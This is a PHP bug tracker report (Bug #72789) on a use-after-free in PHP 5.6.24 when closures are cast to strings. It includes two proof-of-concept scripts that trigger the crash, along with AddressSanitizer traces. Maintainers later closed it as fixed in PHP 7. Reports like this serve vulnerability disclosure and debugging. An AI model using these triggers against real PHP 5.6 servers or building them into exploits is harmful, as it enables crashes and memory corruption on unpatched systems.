php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72789 closure casting causes use after free
Submitted: 2016-08-09 00:47 UTC Modified: 2017-12-28 17:31 UTC
Votes:1
Avg. Score:5.0 ± 0.0
Reproduced:0 of 1 (0.0%)
From: fernando at null-life dot com Assigned: nikic (profile)
Status: Closed Package: Reproducible crash
PHP Version: 5.6.24 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If this is not your bug, you can add a comment by following this link.
If this is your bug, but you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-08-09 00:47 UTC] fernando at null-life dot com
Description:
------------
Use after free is caused when closure objects are casted to strings. It's necessary to continue recoverable exception for it to happen.

Source code: 

https://github.com/php/php-src/blob/PHP-5.6.24/Zend/zend_operators.c#L640

ZEND_API void _convert_to_string(zval *op ZEND_FILE_LINE_DC) /* {{{ */
{
	long lval;
	double dval;

	switch (Z_TYPE_P(op)) {
...
   
		case IS_OBJECT: {
			TSRMLS_FETCH();

			convert_object_to_type(op, IS_STRING, convert_to_string);

			if (Z_TYPE_P(op) == IS_STRING) {
				return;
			}

			zend_error(E_NOTICE, "Object of class %s to string conversion", Z_OBJCE_P(op)->name);
			zval_dtor(op);
			Z_STRVAL_P(op) = estrndup_rel("Object", sizeof("Object")-1);
			Z_STRLEN_P(op) = sizeof("Object")-1;
			break;
...



Test script:
---------------
poc1:

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline) {
  if ( E_RECOVERABLE_ERROR===$errno ) {
    return true;
  }
  return false;
}
set_error_handler('myErrorHandler');

$f = function() { return 0; };
$r = NULL;

openssl_pkcs12_export($f, $r, "", "");
var_dump($f);


poc2.php:

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline) {
  if ( E_RECOVERABLE_ERROR===$errno ) {
    return true;
  }
  return false;
}
set_error_handler('myErrorHandler');

$f = function() { return 0; };

spl_autoload_register($f);
mb_detect_encoding("encoding", $f);
get_class_vars("class");






Expected result:
----------------
No crash

Actual result:
--------------
POC1

==13079==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300004cbb5 at pc 0x000001bfad5e bp 0x7ffd5de44d10 sp 0x7ffd5de44d00
READ of size 1 at 0x60300004cbb5 thread T0
    #0 0x1bfad5d in zend_send_by_var_helper_SPEC_CV /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209
    #1 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #2 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #3 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #4 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #5 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #6 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)

0x60300004cbb5 is located 21 bytes inside of 32-byte region [0x60300004cba0,0x60300004cbc0)
freed by thread T0 here:
    #0 0x7fee9b9fc2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x1d58f64 in i_zval_ptr_dtor /home/operac/build2/php-src-56/Zend/zend_execute.h:80
    #2 0x1d58f64 in zend_vm_stack_clear_multiple /home/operac/build2/php-src-56/Zend/zend_execute.h:308
    #3 0x1d58f64 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:650
    #4 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #5 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #6 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #7 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #8 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #9 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fee9b9fc602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1ac3e2a in zend_assign_tmp_to_variable /home/operac/build2/php-src-56/Zend/zend_execute.c:849
    #2 0x1ac4476 in ZEND_ASSIGN_SPEC_CV_TMP_HANDLER /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:35523
    #3 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #4 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #5 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #6 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #7 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #8 0x7fee9943282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:31209 zend_send_by_var_helper_SPEC_CV


POC2


==13091==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000005778 at pc 0x0000018d28f2 bp 0x7ffea0002870 sp 0x7ffea0002860
READ of size 4 at 0x612000005778 thread T0
    #0 0x18d28f1 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:706
    #1 0x19f9868 in zend_call_method /home/operac/build2/php-src-56/Zend/zend_interfaces.c:97
    #2 0x11a8f1a in zif_spl_autoload_call /home/operac/build2/php-src-56/ext/spl/php_spl.c:436
    #3 0x18d0503 in zend_call_function /home/operac/build2/php-src-56/Zend/zend_execute_API.c:847
    #4 0x18d5285 in zend_lookup_class_ex /home/operac/build2/php-src-56/Zend/zend_execute_API.c:1005
    #5 0x19def65 in zif_get_class_vars /home/operac/build2/php-src-56/Zend/zend_builtin_functions.c:971
    #6 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #13 0x4556b8 in _start (/home/operac/build2/bin/php+0x4556b8)

0x612000005778 is located 56 bytes inside of 296-byte region [0x612000005740,0x612000005868)
freed by thread T0 here:
    #0 0x7fdc691f42ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
    #1 0x1a8a83f in zend_objects_store_del_ref_by_handle_ex /home/operac/build2/php-src-56/Zend/zend_objects_API.c:226
    #2 0x1a8acad in zend_objects_store_del_ref /home/operac/build2/php-src-56/Zend/zend_objects_API.c:178
    #3 0x18fa5f8 in _zval_dtor /home/operac/build2/php-src-56/Zend/zend_variables.h:35
    #4 0x18fa5f8 in _convert_to_string /home/operac/build2/php-src-56/Zend/zend_operators.c:650
    #5 0xdc5d10 in zif_mb_detect_encoding /home/operac/build2/php-src-56/ext/mbstring/mbstring.c:3237
    #6 0x1d5b393 in zend_do_fcall_common_helper_SPEC /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:558
    #7 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #8 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #9 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #10 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #11 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #12 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here:
    #0 0x7fdc691f4602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x1a362ac in zend_closure_new /home/operac/build2/php-src-56/Zend/zend_closures.c:287
    #2 0x1959ed0 in _object_and_properties_init /home/operac/build2/php-src-56/Zend/zend_API.c:1199
    #3 0x1a380c0 in zend_create_closure /home/operac/build2/php-src-56/Zend/zend_closures.c:461
    #4 0x1a9d143 in ZEND_DECLARE_LAMBDA_FUNCTION_SPEC_CONST_UNUSED_HANDLER /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:6820
    #5 0x1c0463c in execute_ex /home/operac/build2/php-src-56/Zend/zend_vm_execute.h:363
    #6 0x194c382 in zend_execute_scripts /home/operac/build2/php-src-56/Zend/zend.c:1341
    #7 0x169a2df in php_execute_script /home/operac/build2/php-src-56/main/main.c:2613
    #8 0x1d64366 in do_cli /home/operac/build2/php-src-56/sapi/cli/php_cli.c:994
    #9 0x4550a0 in main /home/operac/build2/php-src-56/sapi/cli/php_cli.c:1378
    #10 0x7fdc66c2a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free /home/operac/build2/php-src-56/Zend/zend_execute_API.c:706 zend_call_function


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-10 06:17 UTC] stas@php.net
-Type: Security +Type: Bug
 [2017-12-28 17:31 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 [2017-12-28 17:31 UTC] nikic@php.net
Both POCs do not reproduce in PHP 7, so I'm assuming that this is fixed.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Fri Apr 19 08:01:28 2024 UTC